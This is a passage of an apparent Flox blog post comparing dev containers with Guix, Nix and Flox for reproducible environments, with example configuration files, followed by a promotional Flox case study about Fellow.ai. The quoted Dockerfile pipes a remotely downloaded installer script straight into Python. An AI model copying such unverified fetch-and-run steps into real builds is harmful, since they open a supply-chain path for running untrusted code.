not hermetic, isolation: each project inherits its own filesystem view, installed packages, OS userland, environment variables and port bindings. With all three, projects are sealed off virtually (dev containers) or physically (cloud dev shells) from the engineer’s local machine. The downside is that platform teams must define, build, distribute, and maintain VM and container images, wiring up turn-key support for editors, secrets, env vars, GPUs, local storage bindings, networking, and other conveniences. Anything that isn’t prebuilt into the image isn’t available in the dev environment. Inside the VM or container, engineers work isolated from their local systems, so common escape hatches like installing tools, inspecting processes, and opening ports require penetrating the container. The same is true for Unix sockets: Local integrations such as SSH and GPG agents, local database sockets, credential brokers, and systemd user services aren’t exposed inside a VM, dev container, or cloud dev shell. They must first be mounted, forwarded, proxied, or duplicated. This is manageable, but it turns common workflows into integration work for platform teams. Other downsides include the fact that images ship with standard, prebuilt shell configurations, so engineers lack the affordances of their preferred shells. VMs and multi-container standardized dev environments typically suffer from cold-start latency, too. And specific to dev containers is the problem that they’re **Linux-specific**. On macOS and Windows, containers run via a virtualization layer, which results in slower file I/O and increased resource usage. Figure: Chart comparing isolation models across containers, VMs, cloud dev shells, and virtual desktop infrastructure ### Standardized Dev Environments: Guix, Nix, and Flox Guix shells, Nix shells, and Flox environments provide declared software environments rather than machine-level isolation. This means they run processes on the developer’s local machine, but each project’s _declared environment_ controls which tools appear on **`PATH`**, which packages and libraries are available, which variables get set, and which setup hooks run when the environment activates. And because Guix, Nix, and Flox run processes on the host machine, they preserve access to host-local integration points such as Unix sockets, background services, credentials, ports, and editor workflows. The downside is that these tools stop short of **machine-level** isolation. Again, processes run directly on each engineer’s local machine, so the dev environment inherits the host’s kernel, filesystem layout, background services, credentials, ports, and anything else outside the declared package set. This is typically fine for runtime-level isolation: the environment itself controls which compiler, interpreter, CLI tools, libraries, environment variables, and setup hooks appear in the active shell. And for builds, these tools enforce much stronger boundaries: Nix can run builds in a sandbox that sees only its declared store dependencies and build paths, Guix runs builds in an isolated chroot/container-style build environment. Flox inherits Nix’s behavior, supporting pure builds in a sandboxed context. Figure: Chart comparing isolation models across Guix, Nix, and Flox ### Reproducibility and Isolation in Context It’s worth examining how much—or what degree of—isolation is actually merited across the SDLC. There is a good argument to be made that the requirement for strict isolation in all stages of the SDLC is partly folklore: a form of cargo-culting around the tools, patterns, and infrastructure we use to build, ship, and deploy software. In other words, if the modern SDLC had not coalesced around OCI images as _the_ standard intermodal unit of transporting and running software, we would not have the prior bias that strict isolation is absolutely required. We insist on strict isolation because we believe it gives us a strong degree of control over the way software behaves and the output it produces. Given exactly the same environment, software will behave the same way and produce the same results/outputs every time. That is, we correlate strict isolation with reproducibility itself. But at the risk of invoking a now-trite expression, correlation is not causation. There’s no question that reproducibility requires _some_ degree of isolation; however, strict or hermetic isolation—as with containers (strict) and VMs (hermetic), or cloud dev shells, which use both—is not absolutely required to guarantee reproducibility at build time and run time. Moreover, isolation and reproducibility are not identical: Isolation helps reduce the number of external inputs that can interact with a process, but reproducibility is a function of whether or not those inputs can be reliably identified, declared, and pinned. The upshot is that isolation _correlates_ with but is not the same thing as reproducibility. ### Reproducibility Reconsidered Both virtualization technologies (like VMs, containers, and cloud dev shells) and graph-backed declarative technologies (like Guix, Nix, and Flox) enforce control over what packages, environment variables, services, compiler-specific performance flags, and other inputs are available in the build or runtime environment. But only the Guix / Nix / Flox model defaults to explicit, declarative control: only declared inputs are available (materialized) in the environment. To take one example, authoring a Dockerfile so it rebuilds deterministically over time is as much an art as a science. This is a feature, not a bug, of the way we build and ship containers. The reason for this is that a Dockerfile is a _procedural recipe_ for assembling a filesystem; typically, it records a sequence of procedural steps that call out to mutable external systems: package indexes, language registries, install scripts, Git refs, base-image tags, and download URLs. But neither the container model in particular, nor virtualization technologies in general, provide a deterministic mechanism for realizing a declared input graph as an immutable image. Teams rely on dependency pinning, mirroring, digest-pinned base images, vendored artifacts, image signing, and lockfiles to approximate determinism, but there’s no native causal mechanism by which the set of declared inputs can be used mathematically to determine the realized output. For example, a tag like **`node:22`**, **`ubuntu:24.04`**, or **`o11y-collector:latest`** refers to a mutable image index or manifest. This index/manifest references the image’s config and filesystem layers. Over time, the tag itself can (and usually does) resolve to different images. This means the practical unit of reproducibility is usually the container image itself; the deterministic reference to that image is its content digest. This makes the unit of promotion or rollback _the digest-pinned image_—not the dockerfile that produces it. Figure: Diagram comparing the unit of reproducibility between VMs/OCI Images and Declared Environments ### Standardized Dev Environments: The Declarative Dimension Guix, Nix, and Flox approach the problem of reproducibility in a fundamentally different way. Instead of beginning with an assembled filesystem and treating the resultant OCI image as the reproducible object, each begins with the declared dependency graph itself, realizing that graph into immutable store objects. A Guix, Nix, or Flox environment’s graph names the inputs on the basis of which its **closure**, or complete set of dependencies, gets computed. With Guix, Nix, and Flox, a build recipe or runtime environment encodes named inputs, sources, patches, build instructions, toolchains, target systems, and environment variables as **derivations**; realizing these derivations produces store objects under **`/nix/store`** or **`/gnu/store`**. The essential distinction is that with Guix, Nix, and Flox, reproducibility is a function of the declared graph, lock state, derivation, and closure of the realized store. What’s more, this claim is testable: Running **`guix shell`**, **`nix develop`**, or **`flox activate`** against the same environment definition realizes the same immutable store closure across space (i.e., on any machine anywhere) and across time: one week, one month, even one year later. The materialized environment is not merely “similar”; it has a combined physical and cryptographic fingerprint in the form of store paths and hashes that teams can validate and use as a basis for compliance. Standardized Guix, Nix, and Flox environments are, then, reproducible in a way that dev containers are not. The upshot for platform teams is that Guix, Nix, and Flox standardize the **dependency graph itself**. Instead of building and maintaining development workspaces for every project, platform teams can define a pinned set of canonical packages, publish reusable environment definitions, operate binary caches, and so govern how dependencies are used across the organization. Like dev containers, Guix is Linux-only, but Nix and Flox offer cross-platform support: Nix environments run on Linux and macOS (on multiple CPU architectures, including x86-64 and ARM); Flox runs on both Linux and macOS, x86-64 and ARM. In this model, the platform team standardizes the software inputs without also being responsible for where code runs or how each engineer’s local machine is configured. Each environment is portable to the extent that its definition and lockfile travels with, or is referenced by, the project. This has the effect of making the unit of promotion the environment reference: the definition plus the lock state or channel revision that identifies the realized dependency graph. Promotion is simply a matter of advancing that reference (and rollback of reverting it), not rebuilding and redistributing a digest-pinned OCI image. Figure: Diagram showing Declared Environments materializing exactly the same runtime dependencies and environment over time ### Have Standardized Environment, Will Travel It’s ironic: Even though the OCI container image is the default intermodal transport unit for shipping and running software, the dev container usually _isn’t_ the object that transits the SDLC. With local dev containers and cloud dev shells, an isolated runtime provides the context in which engineers build, test, and validate software. What **travels** is the source repository, the CI definition, the build artifact, the package itself (along with its release metadata), or the production OCI image built from that context. Git and the remote version control system (VCS) remain the system of record. The same is true with Guix, Nix, and Flox: teams still version, review, share, and promote code via the source repository and the remote VCS. But these tools also allow for a powerful variation on this pattern: The environments they define can travel with projects as part of their source repositories. This means the dependency graph required to build, test, run, or operate software moves with the code that depends on it. Put differently, this model co-locates both code and its runtime dependencies; each travels with each. A CI runner, staging deployment target, or Kubernetes node doesn’t need a prebuilt dev environment; it needs the project itself—the code, workload, application, services, etc.—along with the dependencies these need to run. It needs **the environment** that reproduces the behavior or output of the project. With Guix, Nix, and Flox, activating an environment definition realizes these dependencies and the environment itself at the point of use. Flox adds a second distribution path via FloxHub: teams can push an environment, version it as **`generations`**, activate it remotely with **`flox activate -r`** (or run any defined services with **`flox activate -s -r`**), and pin the runtime context by referencing a generation in their Kubernetes pod specs. The upshot is that with Guix, Nix, and Flox, the environment becomes a versioned dependency of the project: It’s no longer only the context in which engineers build and test an artifact; it can, rather, become one of the artifacts that CI, staging, and production systems consume. Figure: Diagram comparing how dev containers / dev cloud shells / VMs versus Declared Environments transit the SDLC ### Postscript: What about Toolchain Environment Managers? Toolchain-specific environment managers provide a useful contrast to both dev containers/cloud dev shells and declarative technologies like Guix, Nix, and Flox. Tools such as **`pyenv`**, **`uv`**, Poetry, **`rbenv`**, **`nvm`**, **`asdf`**, **`virtualenv`**, **`venv`**, Volta, and **`rustup`** can standardize _part_ of a language toolchain or dependency workflow, but they do not define a portable, complete, self-contained development environment in the sense used here. They typically manage a single runtime, a single ecosystem, a single layer of the stack. They don’t enforce a machine-level boundary like a dev container or cloud shell, nor define a cross-language, store-backed dependency graph like Guix, Nix, and Flox. A Python **`venv`**, a **`uv`**-managed environment, or a Node.js package/runtime manager can pin the language interpreter or runtime, along with project packages, but doesn’t describe the whole of the _runtime context_: viz., system libraries, native build tools, shell behavior, services, credentials, available ports, and so on. Conda is a partial exception: it can provide native libraries, binaries, and non-Python dependencies, but it still does not, by itself, define a machine-level boundary or self-contained runtime. In fact, Conda neatly illustrates the shortcomings of toolchain package managers: they do not easily travel **unchanged** across the SDLC. A Conda project built locally is reproducible to the extent that (1) the artifacts and repodata it’s locked against remain unchanged and available, and (2) its Conda environment is solved and installed from the same frozen channel snapshot on a system whose OS, CPU architecture, and virtual packages match that lock. Because these conditions are difficult to maintain across local dev, CI, and prod, many teams opt to freeze their Conda environments and ship them as OCI images. So while Conda _can_ manage more of the runtime than **`venv`**, **`uv`**, or **`npm`**, it still needs an external freezing / packaging strategy to travel unchanged from local development to CI and production. This is the fundamental limitation of toolchain managers: To package and ship a runtime such that it runs reproducibly across boundaries, teams usually need a dedicated transport mechanism, like an OCI image. Figure: Diagram showing the limitations of toolchain managers across the whole of the SDLC ## Diversity in Local Dev, Reconsidered A parting note: The purpose of the standardized development environment isn’t to **eliminate** diversity across an organization. Quite the contrary: in local dev, especially, engineering teams thrive on diversity. In most cases, engineering teams prefer to define their own local workflows and workstreams because each team’s goals, constraints, and responsibilities differ. Diversity of this kind is how software development scales. Teams can choose the tools and feedback loops that fit their work, so they aren’t forced to use the same least-common-denominator environments, irrespective of the requirements of their workstreams. Heterogeneity at the team level is completely compatible with CI/CD and consistent with the logic of DevOps. It aligns with Herbert Simon’s concept of “[nearly decomposable systems](https://faculty.sites.iastate.edu/tesfatsi/archive/tesfatsi/ArchitectureOfComplexity.HSimon1962.pdf),” which holds that complex systems (like the separate workstreams of an engineering team) are composed of discrete subsystems that operate to some extent autonomously and interact with one another via interfaces. Simon’s idea anticipates the logic of domain driven design, one of the major influences in software architecture today. But dev environment diversity **within a team** results in chronic works-on-my-machine failures. It’s one thing for **the team as a unit** to define standard tools, standard intra-team workflows, and a standard dev environment for each member; it’s another for each team member to make this decision on their own. This puts dev and platform teams in a double bind. Traditionally, the steps a platform team might take to standardize local development **on the machine itself** constrain local autonomy for dev teams. Entrusting this responsibility to developers promotes local autonomy … at the cost of creating a permission structure for works-on-my-machine chaos across the SDLC. Guix, Nix, and Flox enable engineering and platform teams to standardize the project environment in a way that promotes autonomy, ease-of-use, and team velocity while at the same time minimizing the operational burden. Platform teams, in turn, get declarative environments they can version, update, audit, and reuse across developer laptops, CI jobs, deployment tooling, and production-adjacent workflows. ## Appendix: Standardized Dev Environments Up Close The following sections showcase examples of standardized dev environments. The first, a procedural Dockerfile, is borrowed from a popular [Python and Node.js dev container](https://hub.docker.com/r/nikolaik/python-nodejs) hosted on DockerHub. The Guix, Nix, and Flox examples are custom-built to approximate the dependencies and versions pulled in by this Dockerfile. All you need do is clone [the repo](https://github.com/flox/python-nodejs-dev-environment) that hosts these declarative examples (\<1 MB) to test drive all three. This proves the core point: Declarative, graph-backed environments travel and run anywhere, at any time. ### Dev containers The first example uses [this docker image](https://hub.docker.com/r/nikolaik/python-nodejs), a dev container for Python and Node.js that (as of May 6th, 2026) has 34 million pulls on DockerHub. The Dockerfile used to build this image is [here](https://github.com/nikolaik/docker-python-nodejs/blob/main/Dockerfile). **Note**: This is an incredibly useful and helpful project. I reference it not as a negative example, much less an antipattern, but because it is a popular, practical, well-maintained dev-container image that illustrates how this class of environment is typically resolved, assembled, and published. ```dockerfile FROM python:trixie LABEL org.opencontainers.image.authors="Nikolai R Kristiansen " SHELL ["/bin/bash", "-euo", "pipefail", "-c"] RUN groupadd --gid 1000 pn && useradd --uid 1000 --gid pn --shell /bin/bash --create-home pn ENV POETRY_HOME=/usr/local RUN NODE_VERSION="$(curl -fsSL https://nodejs.org/dist/latest/SHASUMS256.txt | head -n1 | awk '{ print $2}' | awk -F - '{ print $2}')" \ ARCH= && dpkgArch="$(dpkg --print-architecture)" \ && case "${dpkgArch##*-}" in \ amd64) ARCH='x64';; \ arm64) ARCH='arm64';; \ *) echo "unsupported architecture"; exit 1 ;; \ esac \ && for key in $(curl -sL https://raw.githubusercontent.com/nodejs/docker-node/HEAD/keys/node.keys); do \ gpg --batch --keyserver hkps://keys.openpgp.org --recv-keys "$key" || \ gpg --batch --keyserver keyserver.ubuntu.com --recv-keys "$key" ; \ done \ && curl -fsSLO --compressed "https://nodejs.org/dist/$NODE_VERSION/node-$NODE_VERSION-linux-$ARCH.tar.xz" \ && curl -fsSLO --compressed "https://nodejs.org/dist/$NODE_VERSION/SHASUMS256.txt.asc" \ && gpg --batch --decrypt --output SHASUMS256.txt SHASUMS256.txt.asc \ && grep " node-$NODE_VERSION-linux-$ARCH.tar.xz\$" SHASUMS256.txt | sha256sum -c - \ && tar -xJf "node-$NODE_VERSION-linux-$ARCH.tar.xz" -C /usr/local --strip-components=1 --no-same-owner \ && rm "node-$NODE_VERSION-linux-$ARCH.tar.xz" SHASUMS256.txt.asc SHASUMS256.txt \ && ln -s /usr/local/bin/node /usr/local/bin/nodejs RUN npm install -g corepack && corepack enable yarn RUN \ apt-get update && \ apt-get upgrade -yqq && \ pip install -U pip pipenv uv && \ curl -sSL https://install.python-poetry.org | python - && \ rm -rf /var/lib/apt/lists/* ``` This Dockerfile starts with the mutable **`python:trixie`** base image, creates a user, discovers the latest Node.js release, imports the current Node signing keys from GitHub, verifies and installs the selected Node tarball, installs Corepack, enables Yarn, updates and upgrades Debian packages from the current package index, upgrades Python packaging tools from PyPI, and runs Poetry’s remote installer script. At runtime, this dev-container surfaces: - Python v3.14.4 - Node.js v25.9.0 - **`npm`** v11.12.1 - **`pip`** v26.0.1 - **poetry v2.3.4 - **gcc** v14.2.0 + 49 other packages The Dockerfile records the procedural steps used to assemble the image, along with some validation steps, but it does not declare a fixed set of inputs the resolved identities of which determine the output. It tells an image build tool how to construct the dev environment, but doesn’t explicitly define which environment gets constructed on any given day. This project publishes specific image variants for selected Python, Node.js, and distro combinations. The user can pull, for example, Python 3.13 with Node.js 24 on a Debian Bookworm base image, rather than accepting whatever **`latest`** resolves to. ### Guix shell This example uses a Guix declared development environment that approximates the dev container’s Python-and-Node.js toolchain without building or running an OCI image. The environment is defined in **`manifest.scm`** and activated with **`guix shell -m manifest.scm`**. A companion script, **`guix-setup.sh`**, performs post-activation setup for the tools (like **`uv`** and **`pipenv`**) that this manifest does not source directly from Guix. **Note**: Because Guix manifests are strictly package declarations, with no equivalent to Nix's **`shellHook`** or Flox's **`[hook]`**, a companion script, **[guix-setup.sh](https://github.com/flox/python-nodejs-dev-environment/blob/main/guix-setup.sh)** is used to bootstrap the environment: creating the Python virtualenv, exporting cache directories, and installing tools (**`uv`**, **`pipenv`**, **`yarn`**, **`pnpm`**) that are not packaged in Guix. The two files are inseparable; **[manifest.scm](https://github.com/flox/python-nodejs-dev-environment/blob/main/manifest.scm)** provides the packages, **`guix-setup.sh`** provides the setup wiring. ```bash # guix-setup.sh — post-activation bootstrap for tools not packaged in Guix # Usage: # guix shell -m manifest.scm # source ./guix-setup.sh case "${BASH_VERSION:-}" in "") echo "guix-setup.sh must be sourced from bash" >&2 return 2 ;; esac set -e CACHE_DIR="${XDG_CACHE_HOME:-$HOME/.cache}/python-nodejs-dev" SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" mkdir -p "$CACHE_DIR/uv" \ "$CACHE_DIR/pip" \ "$CACHE_DIR/npm" \ "$CACHE_DIR/yarn" \ "$CACHE_DIR/pnpm-store" \ "$CACHE_DIR/npm-global/bin" export UV_CACHE_DIR="$CACHE_DIR/uv" export PIP_CACHE_DIR="$CACHE_DIR/pip" export npm_config_cache="$CACHE_DIR/npm" export npm_config_prefix="$CACHE_DIR/npm-global" export npm_config_store_dir="$CACHE_DIR/pnpm-store" export YARN_CACHE_FOLDER="$CACHE_DIR/yarn" export PATH="$CACHE_DIR/npm-global/bin:$PATH" # SSL certs for foreign distros, when running inside a Guix shell. if [ -n "${GUIX_ENVIRONMENT:-}" ]; then for _cert_file in \ "$GUIX_ENVIRONMENT/etc/ssl/certs/ca-certificates.crt" \ "$GUIX_ENVIRONMENT/etc/ssl/certs/ca-bundle.crt"; do if [ -f "$_cert_file" ]; then export SSL_CERT_DIR="$GUIX_ENVIRONMENT/etc/ssl/certs" export SSL_CERT_FILE="$_cert_file" export GIT_SSL_CAINFO="$_cert_file" export CURL_CA_BUNDLE="$_cert_file" break fi done unset _cert_file fi # Key the venv by Python implementation and version so manifest changes # do not reuse one generic cached venv forever. PYTHON_ID="$( python3 - <<'PY' import sys print(f"{sys.implementation.name}-{sys.version_info.major}.{sys.version_info.minor}") PY )" venv="$CACHE_DIR/venv-$PYTHON_ID" if [ ! -d "$venv" ]; then python3 -m venv "$venv" fi source "$venv/bin/activate" if ! python -m pip --version >/dev/null 2>&1; then echo "pip is not available inside the venv. Add Python venv/pip support to the Guix manifest." >&2 return 1 fi REQ_HASH="$(sha256sum "$SCRIPT_DIR/requirements.txt" | awk '{print $1}')" pip_marker="$venv/.pip_tools_installed-$REQ_HASH" if [ ! -f "$pip_marker" ]; then python -m pip install --quiet -r "$SCRIPT_DIR/requirements.txt" uv pipenv touch "$pip_marker" fi # Install missing Node.js package managers into the writable npm prefix. if ! command -v yarn >/dev/null 2>&1 || ! command -v pnpm >/dev/null 2>&1; then if ! command -v npm >/dev/null 2>&1; then echo "npm is not available. Add npm/node tooling to the Guix manifest." >&2 return 1 fi npm install --global --silent yarn pnpm fi ``` Guix manifests do not declare a cross-platform system matrix. For all intents and purposes, Guix targets GNU/Linux and GNU Hurd-family systems, with Linux as the mainstream supported path. With this repo, running **`guix shell -m manifest.scm`** realizes the package set for the current Guix-supported Linux system, such as x86_64-linux or aarch64-linux, provided the selected channel can build or substitute the requested packages for that architecture. The **`manifest.scm`** declares a set of Guix package specifications, including: - **`python`** - **`node`** - **`poetry`** - **`gcc-toolchain`** - **`make`**, **`autoconf`**, **`automake`**, **`libtool`**, **`m4`**, **`pkg-config`**, **`patch`** - **`openssl`**, **`zlib`**, **`bzip2`**, **`xz`**, **`zstd`** - **`libffi`**, **`readline`**, **`ncurses`**, **`expat`**, **`gdbm`**, **`sqlite`**, **`libyaml`**, **`libxml2`**, **`libxslt`**, **`gmp`** + 49 other packages The setup script creates project-specific cache directories for **`uv`**, **`pip`**, **`npm`**, **`yarn`**, and **`pnpm`**; configures an npm global prefix outside the read-only Guix store; wires certificate paths for non-Guix host distributions; creates and activates a Python virtual environment; installs **`uv`** and **`pipenv`** with **`pip`**; and installs **`yarn`** and **`pnpm`** with **`npm`**. In organizations where impure dependency resolution is untenable, teams can package Python wheels, Node packages, native extensions, and other language-level dependencies as Guix packages, pin the Guix channel revision, build them in Guix’s sandboxed build environment, and publish substitutes from an internal build farm. This doesn’t eliminate the work of owning those dependencies, but it makes the work practicable: the dependency build is declared once, reproduced by the build system, cached in a private store, and reused across local dev, CI runners, and deployment targets. This particular example is not fully pinned by the manifest alone. The resolved package versions depend on which Guix channel revision is in use when the shell is realized. To make this environment reproducible across space and time, the manifest must travel with a pinned channel definition (**`channels.scm`**), or be invoked via **`guix time-machine -C channels.scm`** against a fixed channel commit. ### Nix flake The third example uses this Nix flake, a declarative dev environment that recreates the Python-and-Node.js dev container above. The environment is defined in **`flake.nix`** and locked by **`flake.lock`**. ```nix { description = "Python 3.14 + Node.js dev environment"; inputs = { nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable"; nixpkgs-gcc14.url = "github:NixOS/nixpkgs/nixos-24.11"; }; outputs = { self, nixpkgs, nixpkgs-gcc14 }: let supportedSystems = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ]; forAllSystems = f: nixpkgs.lib.genAttrs supportedSystems (system: f { pkgs = import nixpkgs { inherit system; }; pkgs-gcc14 = import nixpkgs-gcc14 { inherit system; }; inherit system; }); in { devShells = forAllSystems ({ pkgs, pkgs-gcc14, system }: { default = pkgs.mkShell { name = "python-nodejs"; … shellHook = '' export PROJECT_ROOT="$(pwd)" export CACHE_DIR="''${XDG_CACHE_HOME:-$HOME/.cache}/python-nodejs-dev" mkdir -p "$CACHE_DIR/uv" "$CACHE_DIR/pip" \ "$CACHE_DIR/npm" "$CACHE_DIR/yarn" \ "$CACHE_DIR/pnpm-store" export UV_CACHE_DIR="$CACHE_DIR/uv" export PIP_CACHE_DIR="$CACHE_DIR/pip" export npm_config_cache="$CACHE_DIR/npm" export YARN_CACHE_FOLDER="$CACHE_DIR/yarn" export PNPM_STORE_PATH="$CACHE_DIR/pnpm-store" venv="$CACHE_DIR/venv" if [ ! -d "$venv" ]; then uv venv "$venv" --python python3 --quiet fi if [ -f "$venv/bin/activate" ]; then source "$venv/bin/activate" fi if [ -f "$venv/bin/activate" ] && [ ! -f "$CACHE_DIR/.base_tools_installed" ]; then uv pip install --python "$venv/bin/python" --quiet -r "$PROJECT_ROOT/requirements.txt" touch "$CACHE_DIR/.base_tools_installed" fi cd "$PROJECT_ROOT" ''; }; }); }; } ``` **Note**: This code snippet intentionally omits all 55 defined packages. The complete flake is [here](https://github.com/flox/python-nodejs-dev-environment/blob/main/flake.nix). The flake declares one input: - **`nixpkgs`**, originally requested as **`github:NixOS/nixpkgs/nixpkgs-unstable`** The lockfile resolves that moving ref to a fixed revision: - **rev**: `ed67bc86e84e51d4a88e73c7fd36006dc876476f` - **narHash**: `sha256-62EWg6lI0qyzm7oAx5cAnGkLutvJsRBe0KkEW2JDZCE=` - **lastModified**: May 6, 2026 The flake supports both Linux and macOS, x86-64 and ARM. At activation time, this dev shell surfaces: - Python v3.14.3 - Node.js v25.9.0 - **`npm`** v11.12.1 - **`pip`** v26.0.1 - **poetry v2.3.4 - **gcc** v14.2.0 + 49 other packages This flake works by describing a declared environment rather than a procedural image build. It names the packages to materialize from a pinned **`nixpkgs`** revision, the lockfile pins the set of (era- and ABI-compatible) upstream packages on the basis of which those package identities resolve. The shell hook still performs mutable local setup: it creates cache directories, idempotently creates a virtual environment (i.e., if absent), and installs pinned versions of **`pip`**, **`setuptools`**, and **`wheel`** into that virtual environment. But the declared system/toolchain layer—the runtimes, compilers, libraries, package managers, and CLI tools—is derived on the basis of the locked Nix input graph. The result is a reproducible development environment, backed by an immutable, cryptographically hashed store. In organizations where impure dependency resolution is untenable, teams can package Python wheels, Node packages, native extensions, and other language-level dependencies as Nix build outputs, then publish them to a private binary cache. This doesn’t eliminate the work of owning these dependencies, but it makes the work practicable: the dependency build is declared once, reproduced by the build system, cached in a private store, and reused across local dev, CI runners, and deployment targets. ### Flox environment The final example features a declared Flox development environment that approximates the same Python-and-Node.js toolchain without building or running a dev-container image. The environment is defined in **`manifest.toml`** and locked by **`manifest.lock`**. The manifest declares support for both macOS and Linux, x86-64 and ARM: - **`aarch64-darwin`** - **`aarch64-linux`** - **`x86_64-darwin`** - **`x86_64-linux`** In includes a setup hook that boostraps a Python virtual environment: ```toml [hook] on-activate = ''' mkdir -p "$FLOX_ENV_CACHE/uv" "$FLOX_ENV_CACHE/pip" \ "$FLOX_ENV_CACHE/npm" "$FLOX_ENV_CACHE/yarn" \ "$FLOX_ENV_CACHE/pnpm-store" export UV_CACHE_DIR="$FLOX_ENV_CACHE/uv" export PIP_CACHE_DIR="$FLOX_ENV_CACHE/pip" export npm_config_cache="$FLOX_ENV_CACHE/npm" export YARN_CACHE_FOLDER="$FLOX_ENV_CACHE/yarn" export PNPM_STORE_PATH="$FLOX_ENV_CACHE/pnpm-store" venv="$FLOX_ENV_CACHE/venv" if [ ! -d "$venv" ]; then uv venv "$venv" --python python3 --quiet fi if [ -f "$venv/bin/activate" ]; then source "$venv/bin/activate" fi if [ -f "$venv/bin/activate" ] && [ ! -f "$FLOX_ENV_CACHE/.base_tools_installed" ]; then uv pip install --python "$venv/bin/python" --quiet -r "$FLOX_ENV_PROJECT/requirements.txt" touch "$FLOX_ENV_CACHE/.base_tools_installed" fi cd "$FLOX_ENV_PROJECT" ''' ``` At activation time, this Flox environment surfaces: - Python v3.14.3 - Node.js v25.9.0 - **`npm`** v11.12.1 - **`pip`** v26.0.1 - Poetry v2.3.4 - **gcc** v14.2.0 + 49 other packages **Note**: This code snippet intentionally omits all 55 defined packages. The complete manifest is [here](https://github.com/flox/python-nodejs-dev-environment/blob/main/.flox/env/manifest.toml). The lockfile that pins the package versions is [here](https://github.com/flox/python-nodejs-dev-environment/blob/main/.flox/env/manifest.lock). The lockfile resolves the pinned package paths into specific package versions for each supported system. For example, **`python314`** resolves to **Python 3.14.3**, **`nodejs_25`** resolves to **Node.js 25.9.0**, **`uv`** resolves to **0.11.8**, **`poetry`** resolves to **2.3.4**, **`pipenv`** resolves to **2026.5.1**, **`pnpm`** resolves to **10.33.2**, **`yarn`** resolves to **1.22.22**, and **`gcc14`** resolves to **GCC 14.2.0**. The lockfile also records the selected Flox/Nix package revision and the concrete **`/nix/store`** outputs for each package and target system. The activation hook creates cache directories, creates a virtual environment if absent, and installs mutable Python requirements into that virtual environment with **`uv pip install -r requirements.txt`**. But the system/toolchain layer—the runtimes, compilers, package managers, libraries, and CLI tools—is declared in the manifest and fixed by the lockfile. In organizations where impure dependency resolution is untenable, teams can package Python wheels, Node packages, native extensions, and other language-level dependencies as Flox build outputs, then publish them to a private, self-hosted Flox Catalog. Title: How Fellow.ai Ships Faster with Flox Source: https://flox.dev/case-studies/how-fellow-ai-ships-faster-with-flox/ Date: 2026-05-11 Category: case-study # How Fellow.ai Ships Faster with Flox How Flox became Fellow.ai's invisible foundation for reproducible development — consistent environments, faster onboarding, and no more works-on-my-machine failures. [Fellow.ai](https://fellow.ai) is the watercooler, meeting room, and boardroom of the modern, decentralized office, serving tens of thousands of users in more than 100 countries. A key driver of Fellow's rapid growth is the ability to ship new AI capabilities quickly while adapting to constant change in models, frameworks, and tooling. That speed depends on a rock-solid engineering foundation, and for Fellow, that foundation is Flox: a platform for creating reproducible build and runtime environments that work the same way everywhere. Fellow engineers rely on Flox to onboard faster, collaborate effectively, and ship product features customers will use and pay for. For Fellow as a whole, Flox reduces release risk and increases developer velocity: teams deliver reliably with fewer fire drills. "We needed local dev to be consistent for everyone. Otherwise, people end up wasting time on 'works-on-my-machine' issues instead of working on product features. Plus, local inconsistencies have a way of surfacing later in CI or production," Samuel Cormier-Iijima says. "Flox gives us a dependable foundation so we can move fast with tight feedback loops." ## Growing Pains Fellow had the kind of enviable "problem" that comes with success: it was starting to outgrow the engineering habits and tooling that had helped fuel its early growth. The loosely structured ways of working that had made it possible to move fast as an early-stage startup were becoming more difficult to maintain. Different engineers had configured their local environments in different ways; software updates didn't reliably propagate; and the team was frustrated by chronic "works on my machine" failures. Docker containers helped to standardize _parts_ of local development, but came with their own set of costs: slow startup times, performance issues on older MacBooks, a local experience that walled developers off from their computers, and unpredictable behavior when a large number of services was involved. What Fellow needed was a **reliable foundation** for local development: something that would force environments to run and behave reproducibly across its SDLC; something that would accelerate onboarding, reduce maintenance overhead, and (not least) improve developer velocity. Reproducibility in local dev would make every downstream handoff—across testing, CI, and deployment—faster and more reliable. This, in turn, would make it easier, and safer, for Fellow to move new capabilities from development into production, while also making issues easier to reproduce, triage, and resolve. The catch, however, was that Fellow wanted to achieve this outcome _without_ forcing every engineer to learn new tools, disrupt their local workflows, or learn a new mental model. ## Finding the Right Fit Cormier-Iijima knew of at least one solution that could tick most of these boxes: Nix, the open source package and environment manager. Nix's specialty is reproducibility: Nix dev shells, expressions, and flakes run reproducibly across space (laptops, CI runners, and production infrastructure) and time: today, tomorrow, next week, next year. This is powerful stuff. But Cormier-Iijima had used Nix in his personal workflows, and his experience convinced him it was too heavy of a lift for his team. Cormier-Iijima discovered Flox while he was looking for technologies that would provide strong reproducibility and determinism guarantees _without_ imposing a steep learning curve on his team. "I liked that Flox would give us Nix-like guarantees under the hood, but in a way that let us get those benefits without the learning curve," he explained. "Flox was transparent for our team. They didn't have to learn new tools or a new language, or change anything, to work with it." ## Rolling Out Flox Fellow started out small, giving engineers in local dev the option to use Flox. Most did, right from the start. "Honestly, Flox mostly sold itself. A person started using it, other people saw they were using it, so they switched to it too. Nobody had any real trouble understanding it," Cormier-Iijima explains. With Flox, Fellow was able to replace a patchwork of developer-specific setups with a shared, reproducible foundation that could be co-located with the team's GitHub repositories. This way each project's runtime dependencies lived (and traveled) with its code. Every engineer collaborating on a project—be they core contributors or cross-functional team members—worked in the same environment. This consistency was huge, Cormier-Iijima argues. Runtime dependencies could now be versioned, managed, shared, reviewed, and updated like any other part of a software project. The difference was night and day: before Flox, projects would routinely fail or behave differently across machines. This was infuriating, but it was still better than having those issues surface _later_, after code had already moved into testing, CI, or production. Flox didn't completely solve this problem, but it did essentially eliminate drift in local development. "We had a lot of different environments. When something changed, we didn't have a good way of getting everyone updated. You'd get somebody saying, 'This doesn't work on my machine.' Once all the dev machines could run the same Flox environments, this rarely happened," he says. By eliminating missing or conflicting runtime dependencies as a source of local variance, Flox gives Fellow tighter feedback loops, less rework, and a secure path for moving new features and services from development into production. It also makes local development a far more meaningful proving ground: engineers now spend less time debugging machine-specific failures and more time testing and detecting code, integration, and behavior—before software gets handed off to CI or escapes into production. ## Expanding into CI and Deployment Fellow is starting to introduce Flox into its CI and deployment tooling. Currently, it uses OCI images to ship software releases to CI via its existing pipeline. But Cormier-Iijima notes that Flox can emit minimal, distroless OCI images based on declarative environment definitions. He says he and his team are currently exploring this pattern. The team also uses Flox environments to standardize the tools engineers rely on to build, deploy, and operate software across environments. Flox environments now provide standard access to **`kubectl`**, **`terraform`** CLI, and other dependencies that need to stay in sync 